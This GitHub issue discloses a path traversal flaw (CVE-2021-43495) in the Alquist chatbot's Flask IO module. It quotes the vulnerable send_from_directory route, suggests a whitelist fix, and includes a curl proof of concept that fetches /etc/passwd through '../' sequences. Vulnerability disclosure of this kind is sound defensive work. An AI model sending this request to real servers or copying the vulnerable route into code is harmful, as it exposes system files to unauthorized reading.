Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[Security] : Path Traversal in the IO module #43

Closed
porcupineyhairs opened this issue Sep 22, 2021 · 2 comments
Closed

[Security] : Path Traversal in the IO module #43

porcupineyhairs opened this issue Sep 22, 2021 · 2 comments

Comments

@porcupineyhairs
Copy link

A path traversal attack (also known as directory traversal) aims to access files and directories that are stored outside the web root folder. By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system including application source code or configuration and critical system files. It should be noted that access to files is limited by system operational access control (such as in the case of locked or in-use files on the Microsoft Windows operating system).

This attack is also known as “dot-dot-slash”, “directory traversal”, “directory climbing” and “backtracking”.

Root Cause Analysis

In the case of Alquist, the path traversal vulnerability can be blamed on incorrect usage of the send_from_directory Flask call. The vulnerability occurs due to the code snippet shown below

alquist/IO/input.py

Lines 79 to 82 in 280d99f

@flask.route('/<bot>/<file>', defaults={'path': ''})
@flask.route('/<bot>/<path:path>/<file>')
def get_bot4(bot, path, file):
return send_from_directory("../client/" + path, file)

Here, since the path and file parameters are attacker controlled, the effective directory and filename passed to the send_from_directory call can be controlled by the attacker leading to a path traversal attack.

Proof of Concept

The bug can be verified using the proof of concept similar to the one shown below.

curl -i --path-as-is -s -k -X $'GET' \
    -H $'Host: 0.0.0.0:5000' -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' \
    $'http://0.0.0.0:5000/asd/../../../../../../../../etc/passwd'

Remediation

This can be easily fixed my restricting the value of file and path parameters by a fixed whitelist of possible values.

CVSS 3 Score

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

This bug was found using CodeQL by Github

@porcupineyhairs
Copy link
Author

Please note while this is similar to #42, The offending in both the cases is different.

@porcupineyhairs
Copy link
Author

This was assigned CVE-2021-43495.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant